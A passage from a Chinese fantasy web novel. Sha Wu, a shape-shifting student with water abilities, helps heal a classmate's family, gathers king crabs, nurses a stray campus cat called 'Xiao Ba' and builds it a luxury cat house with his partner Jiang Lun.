“长相什么的不说，我要是有这么个朋友，我得把他供起来！” “昨天的风老师竟然是高阶生命系，竟然在学院里教链路课。今天的鸭老师……妈耶，做梦都想不到能请动这两位。” “那五条海豚算是因祸得福了。我估计经过他们的治疗后，整条海豚都能跟新的一样，以后实力提升都顺畅。” “真的命大。” “这么重的伤，竟然能遇到院长。” 鸭老师对沙伍的治疗搞不定，但是对维修海豚还是很在行的。 温和的异能把五条海豚仔仔细细梳理了一遍，单纯看数据的话，五条海豚已经能够出院。 “好了，接下来调理就行。”鸭老师治疗的时候，并不能像风阳羽一样，带着沙伍的意识沉浸式教学。 沙伍上过鸭老师的课，理解他的治疗。 把海豚比作气球的话，风阳羽做的是把破损的气球修补完成，鸭老师就是把修好的气球翻新，剩下的就是让气球重新充满气。 沙伍把他们的数据发给祁大厨，不到三分钟就得到了五份营养餐食谱，加了一下现在陪护的班长妈妈的联系人，把食谱发给她：“这是祁叔给的营养餐，您可以参考一下。” 班长妈妈看着沙伍，哽咽地说不出话来：“谢谢谢谢，我……” 鸭老师一道光芒笼罩住她：“你也得好好休息，避免情绪过于激动。这几位好好调理，应该两三个月就能恢复如初了。” “谢谢您，鸭老师。” 鸭老师微笑：“不用这么客气。每一位高阶战士都是人类宝贵的财富。” 鸭老师的脾气显然比大乌鸦好得多：“来都来了，小伍你带我去医院别的地方转转。” 沙伍对医院算是很熟悉了，但还是不能随便乱走。 还好有鸭老师的金字招牌在，很快就得到了相当的权限，由医院里的医生们带着鸭老师去巡房。 鸭老师认真看了他们的诊疗方案，跟他们一一讨论，并且直接现场指导。 当一个人对某一样事物理解得很透彻的时候，能够用非常简单的语言把复杂的内容讲清楚。 这种结合实际案例的教学，能够让人印象更加深刻。 沙伍这种连半吊子都算不上的，都觉得获益良多：“鸭老师比风叔要耐心多了。” 鸭老师全程固定在沙伍头顶：“听说你们在北冰洋有个小岛？” “啊，有。不算是北冰洋，不过距离已经很近了。鸭老师有空一起去玩？” 鸭老师认真想了想：“我还是不去了。现在那边应该天黑得早，我还是喜欢阳光。” 沙伍琢磨了一下：“那我下次给您带生蚝和帝王蟹回来？现在那边的帝王蟹很多。” 鸭老师矜持地表示：“可以。唉，今天消耗了好多异能，有点累了，我先回去了。” 说完，鸭老师就飞走了。 班长在医院门口把沙伍给堵住：“走，请你吃饭。本来想在教室里跟你说，没想到你上午没来上课。” 沙伍整个人都愣住了：“我的早八！”都怪班长！ 他眼神凶狠：“请我吃两个冰淇淋！”这不是一个冰淇淋能够解决的问题！ 班长可太知道他的甜食控了：“行！再加两个蛋糕！我给你订了蛋糕，现在应该送到食堂了。下午还有课，我只能让人把餐送到食堂，你别介意。” “真的有蛋糕？两个？”幸福来得这么突然的吗？ “真的。大的。”班长用一双微微红肿的眼睛冲他挤挤，“今天姜纶不在，你放心吃。” 沙伍这下真的惊讶了：“你怎么知道姜纶不在？” 现在姜纶都不跟着他上课，上班地点在原来的旧宿舍和市区，偶尔还会在全国各地跑，忙确实是很忙，但是行踪很难掌握啊。 “哎嘿。我去订餐的时候遇到祁叔去买菜，问了他一下。今天有新鲜的海胆……”班长说了一串海鲜，“我一早去菜场挑的，你就放开了吃吧。” 也不知道班长用了什么办法，在教师食堂里搞了个包间。 各种珍贵的海鲜摆了一大桌。 海豚一家人全都在，包括五个还穿着病号服的，全是身高腿长十分健美，是沙伍非常羡慕的身材。 为了照顾沙伍的等级，这些海鲜的变异等级都不高，胜在珍稀，单纯算价格的话，不比沙伍之前在城市陈列馆里吃掉的一顿65万的便宜。 沙伍当然不缺这些，班长也明白，重要的是表示心意。 沙伍看着两个20寸的蛋糕，感觉如梦似幻：“我真的可以一个人炫掉一个蛋糕吗？” “可以！就是专门给你订的。两个都给你！” 沙伍还是觉得不真实，看了看班长一家，勉强客气了一句：“其实你们可以不用专门请我吃饭，我没做什么。” 班长妈妈赶紧说道：“不，多亏了你。风老师和鸭老师一般人可请不来。还有姜祁先生，有了他给的营养食谱，我们家这几个的后续恢复就没问题了。” 班长爸爸看他一时半会儿不吃，就拿出一个箱子，打开：“这是给院长、风老师、鸭老师和姜祁先生的谢礼。我知道他们不缺这些，只是我们家一些小小的心意，希望沙同学能帮忙转交。”《 》 85-90 第86章 校霸 一整箱的晶核，并不全是宝石级，但其中蕴含的能量，几乎每一枚都达到了姜纶送给他的级别。 沙伍愣了一下：“没用掉那么多晶核。” 班长爸爸解释：“这不是用了多少的晶核的问题，是我们家为了感谢院长他们救命之恩的谢礼。我们家的这五个人，感觉比晶核还是更加值钱的。” 班长妈妈伸手把箱子合上：“麻烦沙同学帮忙转交了。” 东西不是给他的，沙伍也不好拒绝：“我回去给他们看看。”他一脸纠结地看了看班长，发消息：【怎么搞得我像是带着人过来敲诈勒索的一样？】 班长：【这算是什么敲诈勒索？那是我叔叔阿姨五条命！】 班长：【根本就不是几枚晶核能比的！】 班长：【你就帮忙转交一下吧。】 沙伍吃完饭就去转交了。 然后大家都收了。 “你在震惊什么？我不该收吗？” 鲨鸦被大乌鸦踹了一脚，差点从树枝上掉下去，赶紧变成鲨貂抱住树干，一屁股坐在下面的树枝上：“不是。救命之恩确实是……就是这么贵的吗？” 大乌鸦低头看了看傻乎乎的鲨貂：“你都说了是救命之恩。命哪里是钱可以买得到的？三个八级两个七级，其中一个还是空间系，还都是青壮年一代，这样的战斗力要是没了，知道对于一个家族来说意味着什么吗？” 沙伍明白了：“所以救下的不止是家族里的五名成员，还是家族的未来。” “没错。这些晶核很珍贵，但只要人在，迟早都能赚回来。要是人没了，他们家族可能就失去了远洋能力。想要再培养出这个级别的战斗力，他们甚至都没有足够的资源去砸。” 想要出现一代优秀的家族成员，需要经过多么长久的积累和运气？ 错过了这么优秀的一代人，可能就再也没有下一次机会了。 “哦。”鲨貂想了想，又变成大乌鸦，挨着风阳羽站在树梢上。 风阳羽被他挤得往边上挪了挪：“干嘛？” 沙伍歪头：“叔，你最近脾气不太好，对我很凶。” 风阳羽跟着歪头：“我快睡觉了，你把我叫出去干活。” 沙伍：“……”好像是不太对。 风阳羽：“你今天上午翘了我的链路课。” 沙伍：“……我错了。” 风阳羽：“你吃蛋糕不分我。” 沙伍忍痛拿出剩下的一整个栗子慕斯蛋糕，没一会儿就引来了夜鹭和鸭老师。 20寸的蛋糕，一瞬间就消失了。 只抢到一口的沙伍：“我、我的……” 鸭老师抬起翅膀，拍了拍假乌鸦的后背：“你今天吃的食物能量已经超标了，不可以再吃了。” 大乌鸦发表评价：“难得吃点甜食，还挺好吃的。” 了解学生的院长：“毕竟是黄烨那小子买的，看他的身材就知道肯定好吃。” 不用他们再多说，沙伍联系班长：“班长，你的蛋糕是哪里订的？” 班长很快就发来了一张名片：“是个个人工作室。不能选品种，一般看能买到什么新鲜食材就做哪个。” 沙伍想到自己宿舍的一堆农场作物，如果他给工作室老板提供食材，不知道能不能行？ 一个蛋糕卖五六位数的老板，对新鲜采摘的高级食材的兴趣，远大于接订单的兴趣，很快就和沙伍约好了时间：“马上就过来。” 今天上午的课已经翘了，下午的课似乎也没有必要一定得去上。 沙伍人都蛋定了。 一群鸟显然不准备走，跟着一起飞到校门口等待蛋糕之神——工作室名字就叫蛋糕之神。 他们到校门口没几分钟，一辆豪华小飞车就停在了校门口，走出一位三十岁左右长相明艳的女士。 然后她的车上就多了一群鸟。 这辆小飞车和沙伍在后土城家里的露营小飞车是同款，只是内部改造成了一个简单的烘焙厨房。 作为异能者，她一点都不奇怪小鸟们，反而兴致勃勃地跟唯一的人形生物沙伍自我介绍：“我叫霍神。你家真的有那么可以作为食材的变异植物？” “你好，我叫沙伍。”沙伍看着她亮晶晶的眼神，肯定，“有，就是有点分散。我先输入个地址？” 竟然名字叫神，好棒啊~ 他也想叫沙神！ “好。”霍神让开操作面板，看着沙伍输入的地址，以及自动导航上出现的一块新区域，“咦？有新城了？” “还没有。在造。”沙伍简单说明了一下现在新城的情况。 没法复杂，毕竟现在新城的情况就很简单。 离开青龙学院的范围后，所谓的新城现在就是一片原野，根本就没有限速。 豪华小飞车瞬间把速度拉到最高，很快就到了宿舍后的家庭农场。 薛春如临大敌：“小伍！” 沙伍被吓得往后一跳，动作有点像鸟类的滑翔，先下意识心虚：“怎、怎么了？” 薛春眯着眼睛打量他：“你……没有买新的苗子？” 他好好一个园丁，都快被逼成农民了。 哦，他现在已经是一个合格的茶农了。 “没、没有。”沙伍眼神左瞟右瞟，最后低头看了看自己的购物记录，确定没有，才把脑袋抬起来，“没有！薛哥，我带这位霍女士去农场采摘。” 薛春看了一眼五级异能的陌生女士，并没有多说什么：“哦，你们去吧。我去给你们准备茶水。” 沙伍头顶趴着一个八级的鸭老师，一边肩膀一个九级，带进来什么人都无所谓。 农场是真的农场，不仅有各种各样的农作物，还养殖了很多家禽家畜。另外有配套的食品加工厂。 霍神很快就被各种高品质的新鲜食材吸引，语气都在发飘：“这是什么天堂~你不知道做个烘焙有多难。原料很难全部买到高品质的，还要搭配各种食材之间的属性，融合口感和能量，差一点口味就差距非常大。” “好复杂啊。”做什么都不容易。 霍神马上就展示了真正的一百分的蛋糕，选用的全是农场现采的原材料。 她本来是想在自己的小飞车里做的，最后被请到了宿舍厨房。 这里的设备更加完善。 祁大厨和阿大、阿二在边上交流，鸭老师、夜鹭和大乌鸦在厨房蹲守。 沙伍被“请出去”做作业。 完全没有心思做作业！ “喵！”小粉一爪子摁在桌子上，把桌子摁出一个梅花脚印。 沙伍闻着越来越香甜的气息：“说不定蛋糕可以吃了。” 小粉看着儿童动画，破锣嗓子说道：“没看完。” 这是什么霸道猫猫？ 沙伍无奈，摸了摸八级监工猫，勉强集中注意力，开始补翘掉的链路课和链路作业。 好难啊！ 勾出来不就行了？为什么还要把解题过程写出来？ 为什么链路课的附加题是医学？ 沙伍做得感觉整个人都要崩溃了，偏偏还越做越精神，越做头脑越清明，精神越来越集中。 不对劲！ 很不对劲！ 沙伍看了看已经下午四点的时间，突然拍案而起，猛地跳窗出去，飞到一楼厨房门口变回人形：“你们都吃完了，不叫我！” 宿舍里一群人也不去餐厅，就这么待在厨房里，围绕着岛台坐了一圈，面前摆着空掉的蛋糕碟子，手上拿着泛着果木香气的红茶。 沙伍还看到小粉和双色月季的一根枝条。 有些月季花，表面看着陪他看动画，背地里已经炫了好多蛋糕！ 梁管家给他拿了一块：“给你留了。看你做作业认真，就没打扰你。” 那真的是很薄的一片毛巾卷。 沙伍也知道今天额外的能量吃太多了，但是：“唔~”这是什么人间美味！ 好好吃，怎么这么好吃，怎么刚吃就没了？ 下班回家的姜纶尝过了蛋糕，开出了一个让霍神无法拒绝的价格，雇佣她成为了宿舍专属的糕点师。 霍神并不需要每天都待在宿舍。 这个糕点师的岗位，相当于给她能够自由采摘选用农场产品的权力，工作的自由度相当高。 她在用过晚餐后，就先回城区了。 傍晚，别的鸟已经准备睡了，夜鹭开始精神奕奕，带着两个学生飞去3号监测点送慰问品。 新城虽然还没影子，但是3号监测点现在的生活环境已经明显改善。 各种生活物资的采购和通讯显然都流畅了不少。 工作人员也增加到了十名。 沙伍本来以为飞完这一趟就回去了，没想到被夜鹭直接打包带去了生蚝岛。 “不是。明天还要上学的啊。” 夜鹭不讲道理，把沙伍丢进海里：“去抓帝王蟹，明天的食堂就看你的了。” “啊？”学校已经穷到需要学生自备食材了吗？ 夜鹭丢的地点显然经过了挑选，海底茫茫多的帝王蟹。 大部分的帝王蟹，对沙伍都没有什么威胁，但冷不丁就会冒出一两只实力强悍或者特殊变异的，又冷不丁冒出一些别的变异海鲜。 等沙伍在海底抓了足够多的帝王蟹，又被一条大比目鱼撵了十几公里，才被夜鹭捞起来。 小鲨鱼变成小白龙，四肢张开趴在院子里，连进门的力气都没有了。 还是姜纶出门把他抱进去：“怎么累成这样？” 沙伍变成白猫，窝在姜纶怀里，闻到蛋糕的香气，感觉奇怪：“怎么烤蛋糕了？” “嗯，今天尝了霍神的蛋糕，感觉有点意思。”他做了同样的毛巾卷，切了一半给夜鹭，又叉了一小块给沙伍。 “不吃。”沙伍今天已经吃了太多蛋糕，尽管这块蛋糕闻上去很好吃，但还是觉得有点腻，待在姜纶怀里无欲无求，整个人放空。 毛巾卷不大，一人一半很快吃完。 夜鹭评价：“你的比不上。” 姜纶看机器人收掉空餐具：“我也觉得是。这种计算能力，真的是五级？” 各种食材的属性看似相同，其实存在着微妙的差异。 能够在短时间内挑选出合适的食材，对其属性进行融合加工，最后呈现出最美味的姿态，并且能够让其中的能量易于吸收，振奋精神，这不是天赋能够说明的，涉及到相当精密且复杂的计算。 其中当然有经验和天赋的成分，但姜纶是九级，且是对农产品了解非常深的人。 他做出来的蛋糕都和霍神的有明显差距…… 夜鹭倒是看得开：“反正她没什么恶意。” “嗯。把人放在眼皮子底下，总好过在外面乱晃。”姜纶刚想叮嘱沙伍注意，低头一看，发现白猫已经睡得两眼翻白，“猫睡觉……怎么……”跟死了似的。 这都找谁学的？ 夜鹭看了看：“学校里养了几只猫保安。”就是普通猫，抓点奇怪的小动物什么的，还是很好用的。 “哦。”姜纶撇撇嘴，“总觉得小鲨鱼容易招惹一些奇奇怪怪的家伙。” 夜鹭看他：“你是在自报家门吗？” “我怎么是奇怪的家伙？！”他是正经男朋友，未来伴侣，见过双方家长，得到承认的！ “呱。”夜鹭瞟了他一眼，“我回去了。你明天记得早点把沙伍送到学校，别迟到。” 姜纶赶紧问他：“你不睡在这里吗？小鲨鱼给你布置了新床。” 于是夜鹭回房把新床打包一起带走。 第二天的共工大学，全校吃上了帝王蟹。 “你抓的时候还特意注意帝王蟹的变异等级啊？” “也没有特别注意。那么一大群螃蟹，本身就是没有异能的占大多数，等级越高的越少。”沙伍没有吃帝王蟹，而是在吃雪蟹。 雪蟹个头小一点，更适合宝宝餐。 姜纶不在，10班同学们蹭了一下包间。 一只帝王蟹占满一张大圆桌，吃起来感觉就很爽。 为了能够坐下全班的人，他们还把包间里的其它家具搬出去，又搬了两张桌子进来。 他们刚吃完，有人敲门进来，给沙伍递了个纸箱。 小丑鱼好奇：“什么东西？” 沙伍打开纸箱给他看：“晶核。咦？” 昨天还有一条比目鱼，扁扁一条，在海底跟一张活的毯子似的，特别特别巨大，今天怎么没看到有比目鱼肉？ 哦，那不是他钓的，是拿他钓的。 这会儿应该在夜师傅肚子里了。 可能昨天晚上就在夜师傅肚子里了。 “怎么了？” “没什么。” 虾同学朝他的纸箱指指：“有没有多的晶核？” “我看看。”沙伍挑选出一多半给他，自己只留了几颗好看的和等级高的。 虾同学给他转账了晶核钱：“你自己不留一些练习链路吗？风老师在单独给你开小灶吧？” “嗯……”沙伍的表情瞬间变得纠结，“他给我开的小灶，不是链路。”提起风阳羽，沙伍倒是想起来了，问，“班长，你家叔叔阿姨现在情况怎么样？” “都已经出院回家了！剩下的慢慢养就行。”班长显然很开心，“多亏了你，真是太谢……” “停！你都说了好多谢了。”沙伍阻止他继续道谢，“都是同学，再说……你要谢就谢姜纶。” 班长毫不在意：“那我也得找得到他谢啊。上次我视频过来，你们在吃晚饭，差点没把我给吓死。反正你们两个跟谁说都一样。” 吃过午饭，大家恢复了包间布置，准备散场。 小丑鱼看着自己的手环通知，突然“卧槽”一声，开始面目狰狞，各种疯狂操作。 全班同学都被他给惊呆了，不敢出声，甚至不敢动作。 “啊啊啊！！！”小丑鱼开始尖叫，开始窜天猴，开始…… 虾同学一把薅住小丑鱼：“兄弟，冷静。” 小丑鱼像是被摁了暂停键：“好的，我冷静。”他深呼吸，再深呼吸，把光屏放大给全班看，“鸭老师开课了，我抢到了鸭老师的课！” 虽然现在理论上不是什么开课时间，但那是鸭老师。 鸭老师想什么时候开课都可以。 沙伍凑过去看了看：“这些你不是都上过了吗？” 小丑鱼只顾着抢课，还没注意到课程介绍，仔细一看：“哦，对，蹭你的课。不过你的课进度太快了，有些我听不明白，还是再上一遍。” 进度快吗？沙伍没觉得。 等一群人都散了，沙伍拿着一盒子蟹肉和鱼肉，放进装晶核的纸箱里，一个人往校园里走，穿过小树林的时候白雾微微飘散，再出现的就变成了一只鸳鸯眼的白色狮子猫。 他试着叼起盒子，发现盒子的大小对一只猫来说太大了，形状也不太好叼。 用异能拖着倒是可以，但是太显眼。 他想了想，白雾笼罩盒子，一秒钟后，盒子在视线中消失不见。 他走了一步，盒子跟着移动，周围的景物有一点点的迟滞。 他试着慢慢走，再调整了一下异能，才算能保证地球online不卡机。 走得慢，会有一些坏处。 “咪咪~” “咪咪咪咪~” “喵喵喵~” 已经挑林子里走的鲨猫时不时就会遇到人对他喵喵叫。 真的是，他自己都不喵。 嗯？ 小树林里为什么这么多人？ 还都一对一对的？ 鲨猫的爪子抬起，忘了放下，终于发现不对劲。 他这是闯入了学校情侣的约会圣地！ 得亏这个身体毛长，遮住了他的脸红。 他用尽可能快的速度通过了小树林，然后沿着落水管爬到一栋楼的天台上。 四层小楼的楼顶，一只大白狮子猫正在晒太阳。 它的毛发有些凌乱，四只爪子灰灰的，看起来旧旧的。 对崭新的鲨猫的到来，它只是略微抬了一下头，看清楚后，微微眯了眯眼睛又趴了下去。 鲨猫用泡泡把大白猫罩住，拿出打包盒打开，用爪子推到它面前。 大白猫闻到气味，站起来。 冬天长出来的大围脖让它像一只迷你版的狮子。 鲨猫看着大白猫，感觉人家吃饭的时候都充满威严。 他打开手环看看自己。 嗯，一只猫。 奇了怪了？明明他照着人家的样子变的，一比一复刻来着，难道是不够脏？ 大白猫吃饭十分凶狠，大口大口吃。 “你慢慢吃。”鲨猫说着，用着从鸭老师和大乌鸦那里学来的医疗知识，滋养大白猫的身体，并且疏通大白猫体内不畅通的部位。 相比较人类，一只普通猫的身体要小得多。 猫猫虽小，身体结构却相当复杂。 生命系和光系的异能沙伍用的磕磕绊绊，但是和太阳是万物起源类似，水是生命之源。水系异能同样具有一定的治疗效果。 他用异能一点一点梳理开猫猫身体内部滞涩的部分，滋养缺乏养分的身体。 接受异能治疗显然是一件很舒服的事情。 大白猫很快就发出呼噜呼噜的声音，躺在地上舒展身体。 鲨猫就跟它商量：“今天太阳这么好，要不要洗个澡？” 大白猫觉得给自己上贡食物的小弟很聒噪：“喵。”烦。 “啊，你同意啦~”鲨猫睁着眼睛说瞎话，一只耳朵往后一撇，凝结出一个水球，控制着温度上升。 大白猫还以为是喝的水，完全没有警惕心地开始喝水，然后就被摁着洗白白，发出激烈的咒骂。 “猫嗷！” 有附近高层教学楼上的学生听到声音，拍下这一幕，放到校园论坛。 惊！光天化日之下，校草竟然对校霸做出这种事情！ 视频里，沙伍把一只骂骂咧咧的狮子猫进行翻新。 大白狮子猫是学校保安猫老大，在网上有单独的社交账号，是一只自带流量的大佬猫，名字就叫校霸。 洗干净之后，狮子猫全身都像是在散发着光芒，无比高大威严……地踩在沙伍后背。 “校草一败涂地。” 小风拿视频给沙伍看的时候，沙伍还很好奇：“我们学校有校草？谁啊？姜纶吗？” 然后沙伍就一脸一言难尽：“啊？无聊。”然后又默默把视频传到自己手环上，“校霸真帅。” 小风好奇：“你怎么不把校霸带回家养？” “一山不容二猫。校霸有自己的领地。它有一群猫小弟。”校霸也没有被收编的意思。 “在看什么呢？”姜纶回来，看视频，“啊，小鲨鱼学的这只猫？” “嗯。”沙伍变成白色狮子猫的样子，跳到姜纶好整以暇的怀里，先勾着他的脖子蹭了蹭，“我明明照着校霸的样子变的，怎么校霸那么威武，我就不行？” 伍哥不威武吗？ 明明他还偷偷给自己加了一点肉，比全靠长毛撑场子的校霸肯定更强壮才对。 姜纶抱着自家鲨猫：“跟变人一样。你变成别人的样子，气质也不一样。你看你变成夜老师的样子，也没他那么猥琐。” “有道理！”沙伍悄咪咪决定先模仿一下校霸的气质。 经过一段时间的接触（投喂），校霸长相愈发高大威严。 校霸的社交账号上，出现一只很新的狮子猫的影像。 【校霸生儿子了？】 第87章 规矩 雪天，蹲坐在柿子树下的狮子猫，像是一副画。 沙伍上课途中看到，眼睛都瞪大了：“老师，我下去一趟。”说着，就从身边的窗户往下跳。 周围同学一阵惊呼，纷纷探头，发现四楼的高度对沙伍来说根本不算什么，落地十分轻盈，只卷起一点点雪花。 “这就是校草的实力？” 青龙学院的学生们腹诽：狗屁校草，分明是真·校霸的实力。 语文老师开窗喊：“走楼梯！” 准备爬落水管的沙伍，只能跑楼梯上四楼：“老师！” 语文老师指了指他的座位：“回座位，好好听课。”对于沙伍抱着猫上课的事情，她没说什么。 有教无类，猫猫想学习，也可以上课。 语文老师想着，如果猫猫愿意，她可以给猫猫开小灶。 校霸来找沙伍并没有特别的事情。 沙伍用异能检查了一下，估摸着是老寒腿犯了。 他一边听课，一边用异能梳理校霸的腿部肌肉和经脉。 校霸说是学校保安猫，其实就是流浪猫，只是不愁粮食，有个遮风挡雨的窝，身体情况并没有表面看着健康。 它的身上有非常多的伤疤，耳朵原来有半边扯掉了一大块，现在渐渐长得差不多了，瞧着像是被做的绝育标记的剪耳。 坐在旁边的小丑鱼看沙伍给猫做“理疗”，随手捞起一条猫尾巴也学以致用。 校霸抬头看了一眼小丑鱼，勾了勾尾巴尖，又放平。 等下课，蠢蠢欲动的同学们还想围观校霸，但是沙伍的动作更快，仗着坐在靠窗的位置上，一下课就揣着猫直接跳窗跑路。 校服为了方便活动，通常都会比较宽大。 冬季校服的外套更是如此。 沙伍往小飞车上一坐，完全看不出来还揣着只猫。 他隔着校服拍拍猫：“我就说你虚胖吧？也不知道那么多东西都吃哪儿去了。” 校霸喵喵喵，一会儿夹子音，一会儿气泡音。 沙伍被萌得不要不要的，干脆把小飞车展开，切换成自动驾驶，自己坐在里面专心撸猫。 小飞车停在旧宿舍门口，有人过来给沙伍开车门。 沙伍抱着猫下车，道了一声谢。 “姜先生的工作还需要几分钟时间，您是先用餐，还是……” “我去餐厅。”沙伍觉得这个姜纶的助理有点怪怪的，往里面走了几步，下意识问了一句，“你吃过饭了吗？” “还没有，这就去。”助理微笑，跟在沙伍身后两步的位置，等沙伍在专属的包间里坐下，他还给带上了门。 沙伍刚洗完手，姜纶和午餐就一起送了过来。 姜纶看到校霸一点都不意外：“我家小鲨鱼终于把校霸骗回来了？” “没有。估计是天冷了。”变成猫之后，他才切身感觉到，猫的那层皮毛是真的不保暖，应该说不够保暖。 他已经算是非常抗冻的了，大冬天没有毛泡在冰冷的海水里一点事都没有，但是长了一层厚毛的猫，也不能说真的冷成了什么样，但总归暖烘烘的地方更加舒适。 姜纶对普通小动物的宽容度还是可以的，主要是校霸并不粘人。 现在，校霸就自己在吃给它的猫饭，瞧着比某只夜师傅还独立。 “我在这里给校霸准备个猫窝吧？” “啊。”沙伍被姜纶一提醒，马上就想起来了，“校园里有它们的猫窝，只是很简陋。我给它们整个豪华的。一会儿你帮我画个猫脸识别的链路。” “行。”姜纶看校霸已经吃得差不多了，也开始低头吃饭。 旧宿舍改成了办公楼，食堂大厨肯定也换了人。 这边的办公人员很多都是普通人，吃的都是普通食物。 对于有异能的食材基本也就是交给厨房机器，成品不难吃，但也说不上有多好吃。 校霸吃完自己的猫饭，走到沙伍身边，低头嗅了嗅。 这个动作小粉也经常干，沙伍并不在意。 没想到下一瞬，校霸就低头吃掉了一个虾仁。 “卧槽！” 变异河虾仁很小一个，沙伍把校霸抓起来的时候，虾仁已经进肚子里了。 他赶紧抱住校霸检查，发现虾仁里蕴含的能量并没有对校霸的身体造成什么破坏，还是不放心：“我带它去医院检查一下。” “直接去宿舍的医院。”姜纶饭也不吃了，带着沙伍和校霸直飞回宿舍。 这边的医院基本没人，设备完善先进，很快就给校霸体检完成。 姜纶看着刚出炉的数据，和沙伍一起看：“校霸好像是在觉醒异能。你看它的变异值已经接近60了。” 30的变异值已经会让身体出现一些变化，60的变异值就有异能。 只不过变异值很少产生变化，但也不绝对。 一些变异值在临界点的人，如果机缘巧合，很可能会掌握异能。 只是这种情况下觉醒的异能，都非常弱。 更多的是异能者因为受伤，异能值跌落。 一个一级的变异河虾仁应该是能量很少，并没有对校霸的身体造成什么伤害，反而还补充了能量。 体检报告上，校霸的身体情况实在是谈不上多好，有许多陈年旧伤。 哪怕经过了沙伍一个多月的治疗，校霸还是没能翻新成功。 沙伍拿着体检报告皱眉：“我要不要让风叔帮忙？” 鸭老师现在开始带学生，本科生其实就带了个十人小班，剩下的都是硕士博士生。 也就风阳羽有空。 姜纶打消了他的念头：“还是别了。冬天日照时间短，风叔的脾气不太好。马上就期末了，他到时候应该会跟着夜老师去朱雀城。” 沙伍想着身兼两个学院院长的夜鹭：“风叔不能当朱雀学院的院长吗？” “不行。他太菜了。”姜纶看沙伍质疑的小眼神，低头就重重亲了一口，“干嘛？不是能打就是厉害。你看我要是放开了手脚打，能打得过夜老师……五五开！冒牌乌鸦能打是能打，但不知道他的精神是站人类还是变异生物，而且刚刚突破到九级，也不知道他的稳定性。” 沙伍撇撇嘴：“你好有门户之见，竟然还搞非我族类其心必异，啧啧啧。风叔就是风叔，和院长一样，是可爱的小鸟……可爱的长辈。” 姜纶想着沙伍喜欢漂亮的东西，在朱雀城里就对各种花里胡哨的鸟走不动道，眼睛微微眯起，刚想发作，就听沙伍说道：“对了，你工作的时候，助理不需要跟你一起工作吗？” “一般情况下，助理是负责处理我交代的工作。他们的工作时间和我的不完全重合，怎么了？”他不觉得沙伍会对他的助理究竟干什么有兴趣。 沙伍就把刚才接他吃饭的助理说了：“按理说也没什么不对，可我总觉得有哪里怪怪的。可能平时随便惯了？”不习惯有人给他开车门？ 姜纶把这件事情记下：“我再看看。” 旧宿舍改成的办公楼其实刚投入运行没多久，有些人员还没招聘齐，有的部门还没搬，现在各种事情比较混乱。 午休时间还有一会儿，两人不着急回去，去仓库拿了材料，着手给校霸做猫窝。 自从下雪后就一直懒洋洋的小粉，不知道从哪里晃荡了过来，看到校霸并没有沙伍担心的一山不容二虎的情况。 作为一只短毛假猫，小粉不存在冬天爆毛，看上去非常实心。 校霸不知道是不是第一次看到粉红色的猫，看到小粉凑过去和小粉碰了碰鼻子。 沙伍看着两只猫闻来闻去，一脸严肃地跟姜纶吹牛：“它们在进行神秘的信息传递。” “传递什么？” “喵星人颠覆人类统治地球的阴谋。” 姜纶看着变成鲨猫加入进去的沙伍：“那你现在是做什么？加入喵星人阵营？” “不，我去当卧底。” 姜纶看着三只相互碰鼻子的猫，问校霸：“你都分不清两只假猫吗？” 校霸神情威严，叫声娇软：“咪呜？” “算了。”姜纶在网上找了个猫窝的图纸，给它们挑选，“喜欢什么样的？” 三只猫选了三个款式。 姜纶很想说假猫要什么猫窝，但想想自家鲨猫窝在猫窝里的样子……哎呀，很可爱很可爱。 做！ 要什么样的都给做！ 姜纶搓家具已经很熟练了。 他还考虑了保温隔热、空气流通、除异味等等问题。 最后的成品：“两室两厅一厨一卫？”沙伍看了看，“还有个院子。” “嗯。我查询了一下猫的生活习性，参考了一下家里小黄的房间，做了一下功能分区。一个房间睡觉，一个房间玩耍；客厅会客，餐厅吃饭。考虑到冬天喝水吃饭最好要有一点点热度，厨房需要有基本的功能，装一个最小号的厨房机器和家政机器人就行。”姜纶说完，把相应的链路图给沙伍。 沙伍拿着链路笔，吸了墨水就开始勾：“猫猫还有会客需求呢？” “它不是有很多小弟？说不定还有老婆孩子。”他的视线落在校霸耳朵的缺角上，“哦，没有。” 沙伍已经开始专心勾链路，没注意到他在说什么。 猫屋被安置在了平时校霸活动的一座假山上。 假山靠着荷花池。 夏秋季节，这里人很多。 冬天人就很少了。 实际不到三层楼的假山在这一片开阔地显得很高，天气好的时候，上面长满了晒太阳的猫。 姜纶看了看躲得远远的猫群，再看看假山里那些简单的纸壳箱垫了破衣服的猫窝：“等下午回去，我再做点猫屋过来。” 猫屋有个可以晒太阳的露台。 校霸在姜纶腿边绕了一圈，跳到露台上，直接就躺了下去。 姜纶觉得有点怪，又说不上来哪里怪。 沙伍突然说道：“不愧是校霸，一点都不怕你。” “哦，对。它怎么不怕我？”别的小动物看到他，不都是一溜烟就跑走了的吗？ 就是小粉，也只有在沙伍和他在一起的时候，才会出现在他面前，不然能跑多远跑多远。 他伸手摸了摸校霸的脑袋，听它呼噜呼噜：“不愧是校霸。”气场足够强。 下午工作时间到，姜纶特意观察了一下被沙伍点名的助理，没发现什么问题，但是他更相信沙伍的直觉，安排了一部分需要外勤的工作给他。 他这边差不多忙完，沙伍也开始了期末考试。 考试结束，距离姜纶的下班时间还早，他就溜达到办公室。 接待他的已经有了专业的前台：“姜先生的办公室在四楼，要送你上去吗？” “不用。这里我熟。”宿舍的格局基本没变，只是变成了办公场所。 姜纶现在的办公室就是他以前的房间……的一部分。 他看着自己原先房间的起居室变成了秘书室，站在自己原先的书房门口，犹豫了一下还是敲了敲门。 手指刚敲下去，门就开了。 “我算着时间，你该考完试了，还想着怎么没到。”姜纶把他拉进去，“你回自己房间还敲门？” “这不是变成你办公室了嘛。”沙伍把门带上，没了陌生人打量的视线，直接就抱紧姜纶亲了一口，“补充能量。” 姜纶很喜欢沙伍的主动，抱着他往办公室里面的房间走：“卧室还保留着。” 说着，就把他往床上放，自己也跟着压上去。 沙伍立马推着他坐起来：“等等等等。我不是来找你胡天胡地的。晚上还有一门课要考，我找个地方复习。你也赶紧去上班。” 姜纶本来就是做做样子，但被推开还是很遗憾：“卧室里没有桌子，你到办公室里来复习。” “嗯。”沙伍看他出去，才开始整理衣服。 就这么几步路，衬衫被扯了出来，扣子解开了三颗，怎么裤子…… 沙伍整理好衣服，缓了缓几分钟，最后看了一会儿复习资料，才算是面色平静。 姜纶的办公桌边上已经多了一套桌椅，摆了茶水点心。 沙伍坐上去打开一溜光屏：“不是说二年级的课程比一年级少吗？怎么我提前考了三门，免考两门，还是天天考试？”上午考，下午考，“今天晚上还有一门要考。你晚上等我一起回去，我一个人走夜路有点害怕。” “不怕。”姜纶朝着他笑，“我保护你。” 